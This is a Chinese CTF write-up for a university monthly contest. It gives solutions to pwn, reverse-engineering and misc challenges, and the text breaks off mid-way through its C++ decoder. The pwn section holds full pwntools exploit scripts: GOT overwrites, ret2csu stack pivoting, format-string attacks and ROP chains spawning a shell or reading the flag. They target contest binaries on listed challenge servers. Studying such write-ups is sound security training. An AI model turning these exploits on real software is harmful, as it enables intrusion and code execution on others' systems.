NEUQCSA-2023-11月赛题解

# NEUQCSA-2023-11 月赛题解

# 解题情况总览

Misc : Signin USB Rainbow
Pwn : 白给の puts 白给の fmt 白给の heap 王神の stack_overflow
Reverse : 白给の pyc

a0
a1
a2
a3
a4
a5

# Pwn

# 白给の puts

纯白给
不会做的建议紫菜(bushi)
出题人:Jmp.Cliff
难度:简单
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,我是菜徐坤,
做这直接打 got 表的题都还用了 16min,狠狠地拷打。
人家出题人都好心让你输入 buf 地址了你还赖着不输入 puts 的 got 表地址干啥,还迟疑个 der.
直接 <(D_D) つ (>_<) 手动拷打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './PUTS'
p=remote('82.157.250.243',7001)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./PUTS')
# gdb.attach(p)
elf=ELF(pwn)
#libc=ELF('./libc.so.6')

payload1=p64(elf.got['puts'])
payload2=p64(0x4010c0)
p.send(payload1)
pause()
p.send(payload2)
p.interactive()

# 王神の stack_overflow

王神の栈是全栈
出题人:brain_z
难度:简单

Unlock-Hint-for-0-points

csu 开 read 栈迁移泄露 libc 再开 read 打 orw

好好好,hint 直接帮我说完思路了,直接放 exp。csu 真是让人又爱又恨啊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './stkoverflow'
p=remote('8.130.110.158',2101)
# p=process(['./ld-2.31.so', './stkoverflow'], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./stkoverflow')
# gdb.attach(p)
elf=ELF(pwn)
libc=ELF('./libc-2.31.so')
pop_rdi=0x401363
pop_rsi2=0x401361
vuln=0x401279
csu=0x40135a
csu1=0x401340
buf=0x404088
flag=buf
leaveret=0x4012d7
# payload=b'a'*0x10+p64(pop_rdi)+p64(1)+p64(pop_rsi2)+p64(elf.got['read'])+p64(0)+p64(elf.plt['write'])+p64(vuln)
payload=b'a'*0x10+p64(csu)+p64(0)+p64(1)+p64(1)+p64(elf.got['read'])+p64(0x200)+p64(elf.got['write'])+p64(csu1)+p64(buf)*7+p64(pop_rdi)+p64(0)+p64(pop_rsi2)+p64(0x404088)+p64(0)+p64(elf.plt['read'])+p64(leaveret)
p.sendline(payload)
p.recvuntil('way\x0a')
p.recv()
# p.recvuntil('way\x0a')
# pause()
addr=u64(p.recv(6).ljust(8,b'\x00'))
base=addr-libc.sym['read']
open_fun=base+libc.sym['open64']

pop_rdx=base+0x142c92
pop_rsi=0x2601f+base

print(hex(addr))

payload2=b'flag\x00\x00\x00\x00'+p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_fun)
payload2+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag-0x10)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['read'])
payload2+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag-0x10)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['write'])+p64(vuln)
# p.sendline('flag\x00')
p.sendline(payload2)
p.interactive()

# 0x0000000000142c92 : pop rdx ; ret

# 0x000000000040135c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040135e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401360 : pop r14 ; pop r15 ; ret
# 0x0000000000401362 : pop r15 ; ret
# 0x000000000040135b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040135f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004011bd : pop rbp ; ret
# 0x0000000000401363 : pop rdi ; ret
# 0x0000000000401361 : pop rsi ; pop r15 ; ret
# 0x000000000040135d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
# 0x00000000004012d1 : ret 0
# 0x000000000040121a : ret 0xfffe

# 白给の fmt

一道平平无奇的格式化字符串题目
什么?你说格式控制字符被过滤了?
我不管,反正 printf (buf) 这个大洞已经给你了,至于怎么用,那是你的问题。
出题人:Jmp.Cliff
难度:中等(准确地说,已经有点偏困难了,把前两题搞定之后再来看吧。)

好好好,难度确实是中等,但是麻烦的要死啊啊啊啊啊啊啊啊啊啊啊
要做两件事
1. 泄露 libc 基址
2. 替换 printf 的 got 表内容为 system 地址
但是仅仅两次的格式化字符串漏洞虽然足够我们做完这两步,但是没法调用 system(printf)了。于是我们还要做一件事:
EX. 把 ret 地址改为 vuln 地址
就干这些事,顺序就是
1. 泄露 libc 基址
EX. 把 ret 地址改为 vuln 地址
2. 替换 printf 的 got 表内容为 system 地址
EXP:
(看这注释量,你知道我经历了什么吗!!!!!!!!!!!!!!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './fmt'
# p=remote('82.157.250.243',7002)
p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# # p=process('./fmt')
# gdb.attach(p)
elf=ELF(pwn)
libc=ELF('./libc-2.31.so')
offset=8
vuln=0x40129c
# payload=b'a%155c'+fmtstr_payload(8,{elf.got['__stack_chk_fail']:vuln})[5:0x27]
# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(0x404020)+p64(0x404021)+p64(0x404022)
# payload=b'a'+fmtstr_payload(8,{elf.got['exit']:0x40129c})
# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(0x404048)+p64(0x404049)+p64(0x40404a)
# p.send(payload)
# pause()
# p.send(b'a')

payload=b'a%26$p%29$p'.ljust(0x70,b'\x00')+b';/bin/sh'
p.send(payload)
pause()
p.send('a')
p.recvuntil('0x')
addr0=int(p.recv(12),16)
addr0-=8
p.recvuntil('0x')
addr=int(p.recv(12),16)
addr-=243
base=addr-libc.sym['__libc_start_main']
sys_addr=base+libc.sym['system']
payload=fmtstr_payload(8,{addr:0x4012a4})
# payload=b'a%18c%14$lln%46c%15$hhn%92c%13$hhnaaaaaa'+p64(addr)+p64(addr+1)+p64(addr+2)
# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(addr0)+p64(addr0+1)+p64(addr0+2)
payload=b'a%163c%13$lln%110c%14$hhn%46c%15$hhnaaaa'+p64(addr0)+p64(addr0+1)+p64(addr0+2)
p.sendline(payload)
pause()
p.send('a')

# pause()
# payload=b'a%29$p'.ljust(0x70,b'\x00')+b';/bin/sh'
# p.send(payload)
# pause()
# p.send('a')

print("Next ROUND!!!!!!!!!!!!!!!!")

# payload=b'a%143c%17$lln%36c%18$hhn%46c%19$hhn%25c%20$hhn%1c%21$hhn%130c%22$hhnaaaa'+p64(0x404030)+p64(0x404031)+p64(0x404032)+p64(0x404033)+p64(0x404034)+p64(0x404035)
# payload=b'aaaa%x,%x'
# # p.send('')'
# # p.send('')
# pause()
# p.send(payload)
# pause()
# p.send('a')

# pause()
# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(addr0)+p64(addr0+1)+p64(addr0+2)
# p.sendline(payload)
# pause()
# p.send('a')
# sys_addr-=1
payload=b'a%143c'+fmtstr_payload(8,{elf.got['printf']:sys_addr})[5:-49]+fmtstr_payload(8,{elf.got['printf']:sys_addr})[-48:]
print(hex(sys_addr-1))
# payload=b'a%143c%17$lln%36c%18$hhn%46c%19$hhn%25c%20$hhn%1c%21$hhn%130c%22$hhnaaaa'+p64(0x404030)+p64(0x404031)+p64(0x404032)+p64(0x404033)+p64(0x404034)+p64(0x404035)
# p.send('')
# payload=b'a%143c%17$lln%23c%18$hhn%46c%19$hhn%93c%20$hhn%77c%21$hhn%13c%22$hhnaaaa'+p64(0x404030)+p64(0x404031)+p64(0x404032)+p64(0x404033)+p64(0x404034)+p64(0x404035)
pause()
p.send(payload)
pause()
p.send('a')

# p.sendline(b'a')
p.interactive()

# 白给の heap

?不是说好的寒假前的月赛不会出堆题吗?
出题人:Jmp.Cliff
难度:困难

Unlock-Hint-for-0-points

但凡学过堆的都知道堆题要从 2.23 学起。这个阶段出个 2.23 的 fastbin attack 都已经够丧心病狂了,Jmp.Cliff 怎么可能给你们上 2.31 的堆呢?
这题的防护开启情况相当于告诉你这题还是个栈题,虽然漏洞点很隐蔽。建议你好好关注一下 edit 功能。
不同 choice 对应的 switch 分支的功能名称写在附件里面的一个 txt 里,当时出题的时候太匆忙,忘了写菜单了。

Unlock-Hint-for-0-points

%256s 在读取时真的没有溢出吗???

Unlock-Hint-for-0-points

如果因为你使用了爆破的方式,导致你的返回地址落在你布置的 rop 链子的一个随机的位置,你可以尝试让这个 rop 链的前面一小部分全部由 ret 组成,这样能增大你的命中率,方便你调试 —— 当然,前提是你 rop 链的空间够用。

先说一下我刚开始的思路。
首先是肯定要泄露 libc 基址的,我们可以直接用 show 进行输出 got 表地址。但是我们需要指向 got 表中某个调用过的函数的地址。这时候就要向动态链接的方向考虑。
我们回到程序头,发现 Elf64_Rela 段里面保存着函数的 got 表地址。(附近还有 Elf64_Sym,以及 ELF 的各个段的信息,但是这里我们是用不到的)
可以看到 edit 函数里面有着 strncpy (buf,chunk_addr_list [index],chunk_size_list [index]) 这一句,我就想着在某个地方输入 ROP 然后直接 copy 到 buf 进行栈溢出。
但是仔细想想我们能够控制的只有 buf 和 bss 里面的两个数组,而且 bss 里面的 chunk_addr_list 没有可以控制的,chunk_size_list 里面是 int,而且只能写一字节。根本没有能够利用的空间。
期间尝试利用其他的内容让 strncpy 之后,把 chunk_addr_list 元素 copy 到 buf 函数的 rbp 那里从而实现 chunk 随便写的效果,但是尝试无果。(是尝试让 index 等于负数或者大些的整数实现任意地址读取)
之后又想到把栈上 buf 内容 copy 到 ret 后面,这样如果 buf 里面是 rop,那么就可以执行 ROP 了。
但是!但是!你想的挺好,但是这里的前提就是你 strncpy 是没有 \x00 截断的!但是很不幸,这里有截断!之前 80% 的工作前功尽弃!
之后就新上了两个 hint,根据 %256s 在读取时真的没有溢出吗???,我们可以猜到,这里 %256s 是要输入 100 个 a 的(少了就没有溢出,多了之后就没法输入 choice 了,因为这里顶多溢出一个字节 \x00,所以肯定是要到其他地方调用 ROP 的。(我竟然刚开始没看见溢出了 \x00... ... ... 很无语 O.o))
这里我就不说当时是怎样误打误撞做出来的。直接讨论这里(edit 函数)有没有继续利用的余地。
我们仅仅使用了一次读取,但是这里可以读取很多次,由于我们把 rbp 最低一位覆盖为 \x00,所以这时候 rbp 有 (256/8-1)/(256/8) 的概率是降低的,由于 buf 是用 rbp+offset 进行定位的,这里我们降低了 rbp,所以 buf 跟着降低了,但是这里 ret 跟着降低了,edit 函数就等于没用了。(除非你获得了栈地址,然后正好把 rbp 再改高。但是我没有想到办法获得栈地址。)
我们退出 edit 函数,经过 leave;ret 之后 rbp 就是我们之前覆盖低位的地址,此时进入 bye 选项,这里没有调用函数,所以我们还可以接着利用这个 rbp。
我们由于改变了 rbp,所以在 vuln 这个栈里面,我们的 rbp 还是相当于被降低的。这时调用 read,read 会保存 vuln 函数执行的下一条指令地址,这时由于我们降低了 rbp,所以 read 进我们的 ROP 之后,即使仅仅只有 0x100 字节,但是可以把 read 保存的 vuln 的地址给覆盖为 ROP,之后 read 函数返回的时候就会返回到 “保存” 的地址,也就是我们覆盖为 ROP 中间的某一地方,这里 ROP 可以采用 p64 (ret)*0x10+ROP 实现,这样打通的几率更大。

注意buf和rsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './heap'
# p=remote('82.157.250.243',7003)
p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./heap')
gdb.attach(p,'b*0x401712')
#elf=ELF(pwn)
libc=ELF('./libc-2.31.so')

read_got_ptr=0x400710

p.sendline("3")
p.sendline("-1863")
p.recvuntil('index:\n')
addr=u64(p.recv(6).ljust(8,b'\x00')) # read
print(hex(addr))
base=addr-libc.sym['puts']
system_addr=base+libc.symbols['system']
execve_addr=base+libc.symbols['execve']
sh=base+next(libc.search(b'/bin/sh'))
pop_rdi=0x4017d3

# make
p.sendline("1")
p.sendline("1")
p.sendline("26")
# change rbp
p.sendline("4")
p.sendline("1")
p.sendline("a"*0x100)
p.sendline("1")
# exploit
p.sendline("5")
ret=0x40101a
pl=p64(pop_rdi)+p64(sh)+p64(system_addr)
p.sendline(p64(ret)*29+pl)
p.sendline("cat flag")

p.interactive()

# Reverse

# 白给の pyc

你知道 python 字节码是什么东西吗?
之前招新赛 RSA 那题有明显的符号提示,可以投机取巧。
但是这题你就只能嗯啃 python 机器码了(doge)
PS. 看不懂的 python 虚拟机指令可以上网搜,基本都能搜到(划重点,基本)
出题人:Jmp.Cliff
难度:中等

Unlock-Hint-for-0-points

一篇不错的参考文章

Unlock-Hint-for-0-points
 python  -m dis xxx.py可以得到你写的脚本的 python 字节码。 看不懂的话就自己写一下编译出来看看 python 指令都是什么样子的,对照着学更加容易。

python 逆向,相当于读汇编,但是这里变量的原则是程序中的变量都是以栈的形式存储的,进行运算都是栈顶两个元素进行运算。
之后可以写出来这里的近似 python 源代码。

首先把程序中的 list 元素提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<iostream>
#include<bits/stdc++.h>

using namespace std;
int main(){
string a;
freopen("scr.txt","r",stdin);
while(cin>>a){
if(a=="LOAD_CONST"){
cin>>a;
cin>>a;
for(int i=1;i<a.length()-1;i++)cout<<a[i];
cout<<",";
}
}
return 0;
}

下面就是手搓的反编译的 py 代码了
注意这里算是里面的运算优先级,多加几个括号没有坏处。因为我就在这里被坑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def listcomp(input_str):
return [ord(c) for c in input_str]

a=[179,186,176,177,204,132,145,146,126,149,150,140,140,109,156,155,160,111,140,163,113,83,177,180,153,12,39,67,105,17,154,144,6,84,42,220,24,77,72,147,169,245]

def fun1():
print('plz input the b:\n')
b=input()
c=len(b)
if c != 42 :
print('length error!')
exit(0)
else:# jmp 128
d=listcomp(b)
for i in range(0,21):
d[i]=(d[i]^i+77)&255 # d[i]-77-i
for i in range(21,42):
d[i]=((d[i]<<((8-i%6)-1))&255 + (d[i]>>(i%6+1))&255)
# for i in range(42):
# if()
fun1()

前一半 flag 还很好计算,但是后边一半应该是没有办法直接还原的。
所以我们直接爆破,爆破的为时间复杂度 O(len * charnum),完全可以接受。(到了大学还分析时间复杂度感觉有点别扭)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<bits/stdc++.h>

using namespace std;

int a[]={179,186,176,177,204,132,145,146,126,149,150,140,140,109,156,155,160,111,140,163,113,83,177,180,153,12,39,67,105,17,154,144,6,84,42,220,24,77,72,147,169,245};
int main(){
string flag;
for(int i=0;i<21;i++){
int ccc=a[i]-77;
if(ccc<0){
ccc*=(-1);
}
ccc^=i;
flag+=char(ccc);
}
cout<<flag<<endl;
for(int i=21;i<=42;i++){
for(int j=33;j<=126;j++){
if(a[i]==((j>>(i%6+1))&255) + ((j<<((8-i%6)-1))&255 )){
flag+=char(j);
cout<<j<<" ";
}
}
}
for(int i=0;i<42;i++)cout<<flag[i];
cout<<"\nlen:"<<flag.length();
return 0;
}

最后输出了 length 用来检查一下看看有没有少输出。
Over༼ つ ◕_◕ ༽つ

# misc

# Signin

flag{have_4_fun}
真好,直接送我 1 分的 flag༼ つ ◕_◕ ༽つ

# USB

你也喜欢画画吗? 出题人:鞠佳凝

Unlock-Hint-for-0-points

数位板流量

数位板流量,用命令提取

1
tshark -r USB.pcapng -T fields -e usbhid.data | sed '/^\s*$/d' > usbdata1.txt

看了流量感觉前两个字节没有啥实际意义(一个 data 有 12 字节),最后四个字节应该没啥用,剩下六个字节就是行坐标,列坐标,压感。
然后从网上抄代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import os
import matplotlib.pyplot as plt
# os.system("tshark -r 1.pcapng -T fields -e usb.capdata| sed '/^\s*$/d' > 1.txt")
data=[]
with open('usbdata1.txt',"r") as f:
for line in f.readlines():
if line[12:16] !="0000":
data.append(line)
# print(line)
X = []
Y = []
# j=0
for i in data:
# j+=1
# print(j)
# print(line)
# if len(line)<10:
# continue
x0=int(i[4:6],16)
# x=0
# for j in range(9):
# x=x*256+int(i[19-2*j:21-2*j],16)
x1=int(i[6:8],16)
x=x0+x1*256
y0=int(i[8:10],16)
y1=int(i[10:12],16)
y=y0+y1*256
X.append(x)
Y.append(-y)
fig = plt.figure()
ax1 = fig.add_subplot(111)
ax1.set_title("result")
ax1.scatter(X, Y, c='b', marker='o')
plt.show()

# rainbow

碰上彩虹,____ 出题人:鞠佳凝
打开 zip 是两张图片。ribbon 有 16 个色块,可以想到是 hex,通过 flag.png 验证开头是 50 4B,于是就可以知道是个压缩包
请人工智能写代码(真是的,这点代码都写不对,还要我修改一堆),自己再修改一下输出格式就可以提取出色块了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import numpy as np
from PIL import Image

# 读取图片
image = Image.open("ribbon.png")

# 将图片转换为RGBA格式的numpy数组
rgba_array = np.array(image)

# 获取色块的颜色信息
colors = rgba_array[:, :, 3]
red_channel = rgba_array[:, :, 0]
green_channel = rgba_array[:, :, 1]
blue_channel = rgba_array[:, :, 2]

# 按照从左到右,从上到下的顺序输出颜色信息
# for x in range(25,rgba_array.shape[0],50):
x=25
for y in range(25,rgba_array.shape[1],50):
# color = colors[y, x]
red=red_channel[x,y]
green=green_channel[x,y]
blue=blue_channel[x,y]
# print(f"({red},{green},{blue})") # 读取flag.png的输出格式,方便C++读取字符串
print(f"\"({red},{green},{blue})\",") # 输出ribbon.png色块,加上双引号和逗号方便写C++字符串数组

所有输出的 flag 的色块为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
(255,0,255)
(0,0,0)
(255,0,0)
(128,255,255)
(0,0,0)
(128,255,128)
(0,0,0)
(255,0,0)
(0,0,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,128)
(255,255,128)
(0,128,255)
(255,0,255)
(255,255,255)
(255,0,255)
(255,0,255)
(255,255,255)
(0,255,128)
(255,128,255)
(255,128,255)
(0,255,0)
(255,128,255)
(255,255,255)
(128,128,128)
(0,0,0)
(0,255,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(128,128,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(255,255,0)
(255,255,0)
(255,255,0)
(255,128,128)
(255,255,0)
(0,0,255)
(255,255,0)
(255,255,255)
(0,255,0)
(255,255,128)
(255,255,255)
(255,0,0)
(255,255,255)
(128,128,128)
(255,255,255)
(255,0,0)
(255,255,0)
(255,255,0)
(255,255,0)
(255,128,128)
(255,255,0)
(0,0,255)
(255,255,0)
(255,255,255)
(255,255,255)
(128,255,255)
(255,255,0)
(0,0,255)
(255,255,0)
(0,0,255)
(255,255,0)
(255,0,255)
(128,255,128)
(0,0,255)
(128,255,128)
(255,0,255)
(255,255,0)
(255,255,0)
(255,255,0)
(255,0,255)
(255,255,0)
(255,0,255)
(0,255,0)
(255,128,255)
(128,255,128)
(0,0,0)
(128,255,128)
(0,0,255)
(128,255,128)
(255,255,255)
(255,255,0)
(255,0,255)
(0,255,0)
(255,128,255)
(128,255,128)
(255,0,0)
(128,255,128)
(255,255,0)
(128,255,128)
(0,255,0)
(128,255,128)
(255,255,255)
(0,255,0)
(255,128,255)
(128,255,128)
(0,128,255)
(128,255,128)
(128,128,128)
(128,255,128)
(255,255,255)
(128,255,128)
(0,255,0)
(0,255,0)
(255,128,255)
(255,255,0)
(255,0,255)
(128,255,128)
(0,0,0)
(128,255,128)
(0,0,255)
(128,255,128)
(255,0,0)
(255,255,0)
(255,255,0)
(128,255,128)
(255,0,0)
(255,255,0)
(255,255,0)
(255,255,0)
(255,0,0)
(128,255,128)
(255,0,0)
(255,255,0)
(128,255,128)
(128,255,128)
(0,128,255)
(128,255,128)
(0,255,0)
(255,255,255)
(255,128,255)
(255,0,255)
(0,0,0)
(255,0,0)
(128,255,255)
(0,0,0)
(0,0,255)
(0,0,0)
(0,255,0)
(128,255,128)
(255,255,200)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,128)
(255,255,128)
(0,128,255)
(255,0,255)
(255,255,255)
(255,0,255)
(255,0,255)
(255,255,255)
(0,255,128)
(255,128,255)
(255,128,255)
(0,255,0)
(255,128,255)
(255,255,255)
(128,128,128)
(0,0,0)
(0,255,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(128,128,128)
(0,0,0)
(0,0,0)
(0,255,0)
(255,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,255,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(255,255,0)
(255,255,0)
(255,255,0)
(255,128,128)
(255,255,0)
(0,0,255)
(255,255,0)
(255,255,255)
(0,255,0)
(255,255,128)
(255,255,255)
(255,0,0)
(255,255,255)
(128,128,128)
(255,255,255)
(255,0,0)
(0,0,0)
(0,255,128)
(0,0,0)
(0,0,0)
(0,255,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,255)
(0,0,0)
(0,0,0)
(0,0,255)
(128,128,128)
(0,0,0)
(0,0,0)
(255,0,255)
(0,0,255)
(255,128,128)
(0,0,0)
(255,255,0)
(0,0,255)
(255,128,255)
(255,255,0)
(255,255,0)
(255,255,255)
(0,0,255)
(255,128,128)
(255,128,255)
(0,255,128)
(0,0,0)
(0,0,255)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(255,0,255)
(0,0,0)
(255,0,0)
(128,255,255)
(0,0,0)
(255,0,255)
(0,0,0)
(255,255,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,255)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,255)
(0,0,0)
(0,0,0)
(255,0,255)
(0,255,128)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(255,0,255)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)
(0,0,0)

我们要匹配的色块按照下标排序为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"(0,0,0)",
"(0,0,255)",
"(0,255,0)",
"(128,255,128)",
"(255,0,0)",
"(255,0,255)",
"(255,255,0)",
"(255,255,255)",
"(128,128,128)",
"(0,128,255)",
"(0,255,128)",
"(128,255,255)",
"(255,128,128)",
"(255,128,255)",
"(255,255,128)",
"(255,255,200)",

回到老本行 C++:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<bits/stdc++.h>

using namespace std;

int main(){
string s;
string fm[16]={"(0,0,0)",
"(0,0,255)",
"(0,255,0)",
"(128,255,128)",
"(255,0,0)",
"(255,0,255)",
